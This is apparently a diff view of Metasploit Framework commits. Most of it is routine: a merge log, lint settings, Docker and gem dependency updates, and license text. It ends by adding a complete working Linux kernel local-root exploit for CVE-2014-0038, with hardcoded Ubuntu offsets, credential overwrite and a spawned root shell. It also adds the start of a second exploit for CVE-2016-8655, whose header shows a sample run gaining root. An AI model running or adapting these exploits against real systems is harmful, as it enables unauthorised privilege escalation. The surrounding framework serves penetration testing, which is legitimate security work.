Merge branch 'land-9416' into upstream-master
2018-01-24 17:13:16 -06:00
Adam Cammack a4022f7b8f Land #9430, Improve Hyper-V checkvm checks 2018-01-24 17:13:12 -06:00
bwatters-r7 06b702e86b Land #9449, bump metasploit-payloads from 1.3.25 to 1.3.27
rapid7/metasploit-payloads#264
rapid7/metasploit-payloads#263

Merge branch 'land-9449' into upstream-master
2018-01-24 17:13:08 -06:00
bwatters-r7 8f2de5cd41 Land #9205, Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Merge branch 'land-9205' into upstream-master
2018-01-24 17:13:05 -06:00
bwatters-r7 a136841794 Land #9114, Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Merge branch 'land-9114' into upstream-master
2018-01-24 17:13:00 -06:00
Brent Cook 15f631dcb5 Land #9452, expose linux/osx meterpreter process hiding 2018-01-24 17:12:56 -06:00
Brent Cook d6beb94c59 Land #6611, add native DNS to Rex, MSF mixin, sample modules 2018-01-24 17:12:52 -06:00
Brent Cook 5ec3da843e Land #9349, GoAhead LD_PRELOAD CGI Module 2018-01-24 17:12:47 -06:00
Brent Cook 294a8e0ada Land #9413, Expand the number of class names searched when checking for an exploitable JMX server 2018-01-24 17:12:43 -06:00
Brent Cook bb73d2c07e Land #9431, Fix owa_login to handle inserting credentials for a hostname 2018-01-24 17:12:39 -06:00
Brent Cook 47682e3f37 Land #9404, update module author 2018-01-24 17:12:34 -06:00
Brent Cook 5fc1988d63 Land #9398, allow UTF-8 module names and authors 2018-01-24 17:12:30 -06:00
Wei Chen ab610f599b Land #9442, Remove NoMethod Rescue for cerberus_sftp_enumusers
Land #9442
2018-01-24 17:12:25 -06:00
William Vu 7da3bdd081 Land #9432, cmd_edit improvements (again!)
We seem to enjoy refactoring this method.
2018-01-24 17:12:20 -06:00
Wei Chen 10fafb62bb Land #9436 - Fix cerberus_sftp_enumusers undefined method start for nil
Land #9436

Thanks Steve!
2018-01-24 17:12:16 -06:00
Brent Cook 512192d3b0 Land #9267, Add targets to sshexec 2018-01-24 17:12:12 -06:00
Brent Cook 55c345418d Land #9438, address cmd_exec inconsistencies 2018-01-24 17:11:40 -06:00
Brent Cook b8fc2c0213 Land #9389, Update commvault_cmd_exec module documentation 2018-01-24 17:11:34 -06:00
Brent Cook 23619431aa update stageless python sizes 2018-01-24 17:08:51 -06:00
Brent Cook 0916d8402e fix whitespace patchups for current python meterpreter 2018-01-24 17:08:33 -06:00
Jeffrey Martin bf6540585f lock google-protobuf and grpc on 4.x 2018-01-19 16:15:09 -06:00
Metasploit 898aa82933 Bump version of framework to 4.16.33 2018-01-18 10:05:22 -08:00
1221 changed files with 72289 additions and 8192 deletions
+1
View File
@@ -4,6 +4,7 @@
docker-compose*.yml
docker/
!docker/msfconsole.rc
!docker/entrypoint.sh
README.md
.git/
.github/
+2
View File
@@ -41,6 +41,7 @@ sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
@@ -82,6 +83,7 @@ corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
DanielRTeixeira <DanielRTeixeira@github> Daniel Teixeira <danieljcrteixeira@gmail.com>
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
efraintorres <efraintorres@github> et <>
espreto <espreto@github> <robertoespreto@gmail.com>
+20 -3
View File
@@ -17,6 +17,10 @@ Metrics/ClassLength:
Exclude:
- 'modules/**/*'
Style/ClassAndModuleChildren:
Enabled: false
Description: 'Forced nesting is harmful for grepping and general code comprehension'
Metrics/AbcSize:
Enabled: false
Description: 'This is often a red-herring'
@@ -29,6 +33,10 @@ Metrics/PerceivedComplexity:
Enabled: false
Description: 'This is often a red-herring'
Style/TernaryParentheses:
Enabled: false
Description: 'This outright produces bugs'
Style/FrozenStringLiteralComment:
Enabled: false
Description: 'We cannot support this yet without a lot of things breaking'
@@ -37,6 +45,10 @@ Style/RedundantReturn:
Description: 'This often looks weird when mixed with actual returns, and hurts nothing'
Enabled: false
Style/NumericPredicate:
Description: 'This adds no efficiency nor space saving'
Enabled: false
Style/Documentation:
Enabled: true
Description: 'Most Metasploit modules do not have class documentation.'
@@ -92,9 +104,10 @@ Style/NumericLiterals:
Enabled: false
Description: 'This often hurts readability for exploit-ish code.'
Layout/SpaceInsideBrackets:
Enabled: false
Description: 'Until module template are final, most modules will fail this.'
Layout/AlignParameters:
Enabled: true
EnforcedStyle: 'with_fixed_indentation'
Description: 'initialize method of every module has fixed indentation for Name, Description, etc'
Style/StringLiterals:
Enabled: false
@@ -104,6 +117,10 @@ Style/WordArray:
Enabled: false
Description: 'Metasploit prefers consistent use of []'
Style/IfUnlessModifier:
Enabled: false
Description: 'This style might save a couple of lines, but often makes code less clear'
Style/RedundantBegin:
Exclude:
# this pattern is very common and somewhat unavoidable
+1 -1
View File
@@ -1 +1 @@
2.4.2
2.5.1
+3 -3
View File
@@ -11,9 +11,9 @@ addons:
- graphviz
language: ruby
rvm:
- '2.2'
- '2.3.5'
- '2.4.2'
- '2.3.7'
- '2.4.4'
- '2.5.1'
env:
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
+6 -1
View File
@@ -36,8 +36,13 @@ and Metasploit's [Common Coding Mistakes].
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
If you do not send a PR from a topic branch, the history of your PR will be
lost as soon as you update your own master branch. See
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
this in action.
### Pull Requests
+13 -7
View File
@@ -1,9 +1,8 @@
FROM ruby:2.4.2-alpine
FROM ruby:2.5.1-alpine3.7
LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
ENV APP_HOME /usr/src/metasploit-framework/
ENV MSF_USER msf
ENV NMAP_PRIVILEGED=""
ENV BUNDLE_IGNORE_MESSAGES="true"
WORKDIR $APP_HOME
@@ -15,19 +14,23 @@ COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
RUN apk update && \
apk add \
bash \
sqlite-libs \
nmap \
nmap-scripts \
nmap-nselibs \
postgresql-libs \
python \
python3 \
ncurses \
libcap \
su-exec \
&& apk add --virtual .ruby-builddeps \
autoconf \
bison \
build-base \
ruby-dev \
openssl-dev \
libressl-dev \
readline-dev \
sqlite-dev \
postgresql-dev \
@@ -45,13 +48,16 @@ RUN apk update && \
&& apk del .ruby-builddeps \
&& rm -rf /var/cache/apk/*
RUN adduser -g msfconsole -D $MSF_USER
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
USER $MSF_USER
ADD ./ $APP_HOME
# we need this entrypoint to dynamically create a user
# matching the hosts UID and GID so we can mount something
# from the users home directory. If the IDs don't match
# it results in access denied errors. Once docker has
# a solution for this we can revert it back to normal
ENTRYPOINT ["docker/entrypoint.sh"]
CMD ["./msfconsole", "-r", "docker/msfconsole.rc"]
+2 -4
View File
@@ -19,10 +19,8 @@ group :development do
# module documentation
gem 'octokit'
# Metasploit::Aggregator external session proxy
gem 'metasploit-aggregator' if [
'x86-mingw32', 'x64-mingw32',
'x86_64-linux', 'x86-linux',
'darwin'].include?(RUBY_PLATFORM.gsub(/.*darwin.*/, 'darwin'))
# disabled during 2.5 transition until aggregator is available
#gem 'metasploit-aggregator'
end
group :development, :test do
+72 -105
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.16.32)
metasploit-framework (4.17.9)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -16,11 +16,11 @@ PATH
json
metasm
metasploit-concern
metasploit-credential
metasploit-credential (< 3.0.0)
metasploit-model
metasploit-payloads (= 1.3.25)
metasploit_data_models
metasploit_payloads-mettle (= 0.3.3)
metasploit-payloads (= 1.3.45)
metasploit_data_models (< 3.0.0)
metasploit_payloads-mettle (= 0.4.1)
mqtt
msgpack
nessus_rest
@@ -38,7 +38,6 @@ PATH
pg (= 0.20.0)
railties
rb-readline
rbnacl (< 5.0.0)
recog
redcarpet
rex-arch
@@ -50,7 +49,7 @@ PATH
rex-mime
rex-nop
rex-ole
rex-powershell (< 0.1.78)
rex-powershell
rex-random_identifier
rex-registry
rex-rop_builder
@@ -59,6 +58,7 @@ PATH
rex-struct2
rex-text
rex-zip
ruby-macho
ruby_smb
rubyntlm
rubyzip
@@ -73,7 +73,7 @@ PATH
GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.2)
Ascii85 (1.0.3)
actionpack (4.2.10)
actionview (= 4.2.10)
activesupport (= 4.2.10)
@@ -103,75 +103,51 @@ GEM
public_suffix (>= 2.0.2, < 4.0)
afm (0.2.2)
arel (6.0.4)
arel-helpers (2.5.0)
arel-helpers (2.8.0)
activerecord (>= 3.1.0, < 6)
backports (3.11.0)
bcrypt (3.1.11)
backports (3.11.3)
bcrypt (3.1.12)
bcrypt_pbkdf (1.0.0)
bindata (2.4.1)
bindata (2.4.3)
bit-struct (0.16)
builder (3.2.3)
coderay (1.1.2)
concurrent-ruby (1.0.5)
crass (1.0.3)
crass (1.0.4)
diff-lcs (1.3)
dnsruby (1.60.2)
docile (1.1.5)
dnsruby (1.61.2)
addressable (~> 2.5)
docile (1.3.1)
erubis (2.7.0)
factory_girl (4.9.0)
activesupport (>= 3.0.0)
factory_girl_rails (4.9.0)
factory_girl (~> 4.9.0)
railties (>= 3.0.0)
faker (1.8.7)
faker (1.9.1)
i18n (>= 0.7)
faraday (0.13.1)
faraday (0.15.2)
multipart-post (>= 1.2, < 3)
ffi (1.9.18)
filesize (0.1.1)
fivemat (1.3.5)
google-protobuf (3.5.1)
googleapis-common-protos-types (1.0.1)
google-protobuf (~> 3.0)
googleauth (0.6.2)
faraday (~> 0.12)
jwt (>= 1.4, < 3.0)
logging (~> 2.0)
memoist (~> 0.12)
multi_json (~> 1.11)
os (~> 0.9)
signet (~> 0.7)
grpc (1.8.3)
google-protobuf (~> 3.1)
googleapis-common-protos-types (~> 1.0.0)
googleauth (>= 0.5.1, < 0.7)
fivemat (1.3.7)
hashery (2.1.2)
i18n (0.9.1)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jsobfu (0.4.2)
rkelly-remix
json (2.1.0)
jwt (2.1.0)
little-plugger (1.1.4)
logging (2.2.2)
little-plugger (~> 1.1)
multi_json (~> 1.10)
loofah (2.1.1)
loofah (2.2.2)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memoist (0.16.0)
metasm (1.0.3)
metasploit-aggregator (1.0.0)
grpc
rex-arch
metasploit-concern (2.0.5)
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (2.0.12)
metasploit-credential (2.0.14)
metasploit-concern
metasploit-model
metasploit_data_models
metasploit_data_models (< 3.0.0)
pg
railties
rex-socket
@@ -181,41 +157,39 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.25)
metasploit_data_models (2.0.15)
metasploit-payloads (1.3.45)
metasploit_data_models (2.0.16)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
metasploit-concern
metasploit-model
pg
pg (= 0.20.0)
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.3.3)
metasploit_payloads-mettle (0.4.1)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.11.1)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.2)
multi_json (1.13.1)
msgpack (1.2.4)
multipart-post (2.0.0)
nessus_rest (0.1.6)
net-ssh (4.2.0)
net-ssh (5.0.2)
network_interface (0.0.2)
nexpose (7.1.1)
nokogiri (1.8.1)
nexpose (7.2.1)
nokogiri (1.8.4)
mini_portile2 (~> 2.3.0)
octokit (4.8.0)
octokit (4.10.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
openvas-omp (0.0.4)
os (0.9.6)
packetfu (1.1.13)
pcaprub
patch_finder (1.0.2)
pcaprub (0.12.4)
pdf-reader (2.0.0)
pcaprub (0.13.0)
pdf-reader (2.1.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
@@ -223,15 +197,15 @@ GEM
ttfunk
pg (0.20.0)
pg_array_parser (0.0.9)
postgres_ext (3.0.0)
activerecord (>= 4.0.0)
postgres_ext (3.0.1)
activerecord (~> 4.0)
arel (>= 4.0.1)
pg_array_parser (~> 0.0.9)
pry (0.11.3)
coderay (~> 1.1.0)
method_source (~> 0.9.0)
public_suffix (3.0.1)
rack (1.6.8)
public_suffix (3.0.3)
rack (1.6.10)
rack-test (0.6.3)
rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3)
@@ -240,18 +214,16 @@ GEM
activesupport (>= 4.2.0, < 5.0)
nokogiri (~> 1.6)
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.3)
loofah (~> 2.0)
rails-html-sanitizer (1.0.4)
loofah (~> 2.2, >= 2.2.2)
railties (4.2.10)
actionpack (= 4.2.10)
activesupport (= 4.2.10)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.0)
rake (12.3.1)
rb-readline (0.5.5)
rbnacl (4.0.2)
ffi
recog (2.1.17)
recog (2.1.20)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@@ -262,12 +234,12 @@ GEM
rex-core
rex-struct2
rex-text
rex-core (0.1.12)
rex-core (0.1.13)
rex-encoder (0.1.4)
metasm
rex-arch
rex-text
rex-exploitation (0.1.16)
rex-exploitation (0.1.19)
jsobfu
metasm
rex-arch
@@ -280,7 +252,7 @@ GEM
rex-arch
rex-ole (0.1.6)
rex-text
rex-powershell (0.1.77)
rex-powershell (0.1.79)
rex-random_identifier
rex-text
rex-random_identifier (0.1.4)
@@ -290,42 +262,43 @@ GEM
metasm
rex-core
rex-text
rex-socket (0.1.10)
rex-socket (0.1.15)
rex-core
rex-sslscan (0.1.5)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.2)
rex-text (0.2.16)
rex-text (0.2.21)
rex-zip (0.1.3)
rex-text
rkelly-remix (0.0.7)
rspec (3.7.0)
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-core (3.7.1)
rspec-support (~> 3.7.0)
rspec-expectations (3.7.0)
rspec (3.8.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-core (3.8.0)
rspec-support (~> 3.8.0)
rspec-expectations (3.8.1)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-mocks (3.7.0)
rspec-support (~> 3.8.0)
rspec-mocks (3.8.0)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0)
rspec-rails (3.7.2)
rspec-support (~> 3.8.0)
rspec-rails (3.8.0)
actionpack (>= 3.0)
activesupport (>= 3.0)
railties (>= 3.0)
rspec-core (~> 3.7.0)
rspec-expectations (~> 3.7.0)
rspec-mocks (~> 3.7.0)
rspec-support (~> 3.7.0)
rspec-core (~> 3.8.0)
rspec-expectations (~> 3.8.0)
rspec-mocks (~> 3.8.0)
rspec-support (~> 3.8.0)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.7.0)
rspec-support (3.8.0)
ruby-macho (2.0.0)
ruby-rc4 (0.1.5)
ruby_smb (0.0.18)
ruby_smb (1.0.3)
bindata
rubyntlm
windows_error
@@ -334,13 +307,8 @@ GEM
sawyer (0.8.1)
addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 1.0)
signet (0.8.1)
addressable (~> 2.3)
faraday (~> 0.9)
jwt (>= 1.5, < 3.0)
multi_json (~> 1.10)
simplecov (0.15.1)
docile (~> 1.1.0)
simplecov (0.16.1)
docile (~> 1.1)
json (>= 1.8, < 3)
simplecov-html (~> 0.10.0)
simplecov-html (0.10.2)
@@ -350,16 +318,16 @@ GEM
thread_safe (0.3.6)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.4)
tzinfo (1.2.5)
thread_safe (~> 0.1)
tzinfo-data (1.2017.3)
tzinfo-data (1.2018.5)
tzinfo (>= 1.0.0)
windows_error (0.1.2)
xdr (2.0.0)
activemodel (>= 4.2.7)
activesupport (>= 4.2.7)
xmlrpc (0.3.0)
yard (0.9.12)
yard (0.9.16)
PLATFORMS
ruby
@@ -367,7 +335,6 @@ PLATFORMS
DEPENDENCIES
factory_girl_rails
fivemat
metasploit-aggregator
metasploit-framework!
octokit
pry
@@ -380,4 +347,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.16.1
1.16.4
+52
View File
@@ -75,6 +75,10 @@ Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
Copyright: 2006-2010 Yoann GUILLOT
License: LGPL-2.1
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
Files: lib/net/dns.rb lib/net/dns/*
Copyright: 2006 Marco Ceresa
License: Ruby
@@ -599,6 +603,54 @@ License: Artistic
DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF
ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
License: Apache
Version 1.1, 2000
Modifications by CORE Security Technologies
.
Copyright (c) 2000 The Apache Software Foundation. All rights
reserved.
.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
.
1. Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the
distribution.
.
3. The end-user documentation included with the redistribution,
if any, must include the following acknowledgment:
"This product includes software developed by
CORE Security Technologies (http://www.coresecurity.com/)."
Alternately, this acknowledgment may appear in the software itself,
if and wherever such third-party acknowledgments normally appear.
.
4. The names "Impacket" and "CORE Security Technologies" must
not be used to endorse or promote products derived from this
software without prior written permission. For written
permission, please contact oss@coresecurity.com.
.
5. Products derived from this software may not be called "Impacket",
nor may "Impacket" appear in their name, without prior written
permission of CORE Security Technologies.
.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED
WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR
ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF
USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT
OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
SUCH DAMAGE.
License: Apache
Version 2.0, January 2004
http://www.apache.org/licenses/
+1 -1
View File
@@ -96,7 +96,7 @@ rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.8, "New BSD"
rex-sslscan, 0.1.4, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.15, "New BSD"
rex-text, 0.2.17, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
robots, 0.10.1, MIT
Binary file not shown.
+226
View File
@@ -0,0 +1,226 @@
/*
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
CVE-2014-0038 / x32 ABI with recvmmsg
by rebel @ irc.smashthestack.org
-----------------------------------
takes about 13 minutes to run because timeout->tv_sec is decremented
once per second and 0xff*3 is 765.
some things you could do while waiting:
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
* brew some coffee
* stare at the countdown giggly with anticipation
could probably whack the high bits of some pointer with nanoseconds,
but that would require a bunch of nulls before the pointer and then
reading an oops from dmesg which isn't that elegant.
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
anyway..
same principle will work on 32bit but I didn't really find any major
distros shipping with CONFIG_X86_X32=y
user@ubuntu:~$ uname -a
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
user@ubuntu:~$ ./recvmmsg
byte 3 / 3.. ~0 secs left.
w00p w00p!
# id
uid=0(root) gid=0(root) groups=0(root)
# sh phalanx-2.6b-x86_64.sh
unpacking..
:)=
greets to my homeboys kaliman, beist, capsl & all of #social
Sat Feb 1 22:15:19 CET 2014
% rebel %
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/
#define _GNU_SOURCE
#include <netinet/ip.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/utsname.h>
#define __X32_SYSCALL_BIT 0x40000000
#undef __NR_recvmmsg
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
#define VLEN 1
#define BUFSIZE 200
int port;
struct offset {
char *kernel_version;
unsigned long dest; // net_sysctl_root + 96
unsigned long original_value; // net_ctl_permissions
unsigned long prepare_kernel_cred;
unsigned long commit_creds;
};
struct offset offsets[] = {
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
{NULL,0,0,0,0}
};
void udp(int b) {
int sockfd;
struct sockaddr_in servaddr,cliaddr;
int s = 0xff+1;
if(fork() == 0) {
while(s > 0) {
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
sleep(1);
s--;
fprintf(stderr,".");
}
sockfd = socket(AF_INET,SOCK_DGRAM,0);
bzero(&servaddr,sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
servaddr.sin_port=htons(port);
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
exit(0);
}
}
void trigger() {
open("/proc/sys/net/core/somaxconn",O_RDONLY);
if(getuid() != 0) {
fprintf(stderr,"not root, ya blew it!\n");
exit(-1);
}
fprintf(stderr,"w00p w00p!\n");
system("/bin/sh -i");
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
// thx bliss
static int __attribute__((regparm(3)))
getroot(void *head, void * table)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
void __attribute__((regparm(3)))
trampoline()
{
asm("mov $getroot, %rax; call *%rax;");
}
int main(void)
{
int sockfd, retval, i;
struct sockaddr_in sa;
struct mmsghdr msgs[VLEN];
struct iovec iovecs[VLEN];
char buf[BUFSIZE];
long mmapped;
struct utsname u;
struct offset *off = NULL;
uname(&u);
for(i=0;offsets[i].kernel_version != NULL;i++) {
if(!strcmp(offsets[i].kernel_version,u.release)) {
off = &offsets[i];
break;
}
}
if(!off) {
fprintf(stderr,"no offsets for this kernel version..\n");
exit(-1);
}
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
mmapped &= 0x000000ffffffffff;
srand(time(NULL));
port = (rand() % 30000)+1500;
commit_creds = (_commit_creds)off->commit_creds;
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(mmapped == -1) {
perror("mmap()");
exit(-1);
}
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
perror("mprotect()");
exit(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket()");
exit(-1);
}
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
sa.sin_port = htons(port);
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
perror("bind()");
exit(-1);
}
memset(msgs, 0, sizeof(msgs));
iovecs[0].iov_base = &buf;
iovecs[0].iov_len = BUFSIZE;
msgs[0].msg_hdr.msg_iov = &iovecs[0];
msgs[0].msg_hdr.msg_iovlen = 1;
for(i=0;i < 3 ;i++) {
udp(i);
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
if(!retval) {
fprintf(stderr,"\nrecvmmsg() failed\n");
}
}
close(sockfd);
fprintf(stderr,"\n");
trigger();
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+945
View File
@@ -0,0 +1,945 @@
/*
chocobo_root.c
linux AF_PACKET race condition exploit for CVE-2016-8655.
Includes KASLR and SMEP/SMAP bypasses.
For Ubuntu 14.04 / 16.04 (x86_64) kernels 4.4.0 before 4.4.0-53.74.
All kernel offsets have been tested on Ubuntu / Linux Mint.
vroom vroom
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
user@ubuntu:~$ uname -a
Linux ubuntu 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user)
user@ubuntu:~$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:~$ ./chocobo_root
linux AF_PACKET race condition exploit by rebel
kernel version: 4.4.0-51-generic #72
proc_dostring = 0xffffffff81088090
modprobe_path = 0xffffffff81e48f80
register_sysctl_table = 0xffffffff812879a0
set_memory_rw = 0xffffffff8106f320
exploit starting
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 174222, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
vsyscall page altered!
stage 1 completed
registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 30773, last val = 0)
current packet version = 2
pbd->hdr.bh1.offset_to_first_pkt = 48
race not won
retrying stage..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850
sockets allocated
removing barrier and spraying..
version switcher stopping, x = -1 (y = 133577, last val = 2)
current packet version = 0
pbd->hdr.bh1.offset_to_first_pkt = 48
*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*
please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.
closing socket and verifying.......
sysctl added!
stage 2 completed
binary executed by kernel, launching rootshell
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root),1000(user)
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=
Shoutouts to:
jsc for inspiration (https://www.youtube.com/watch?v=x4UDIfcYMKI)
mcdelivery for delivering hotcakes and coffee
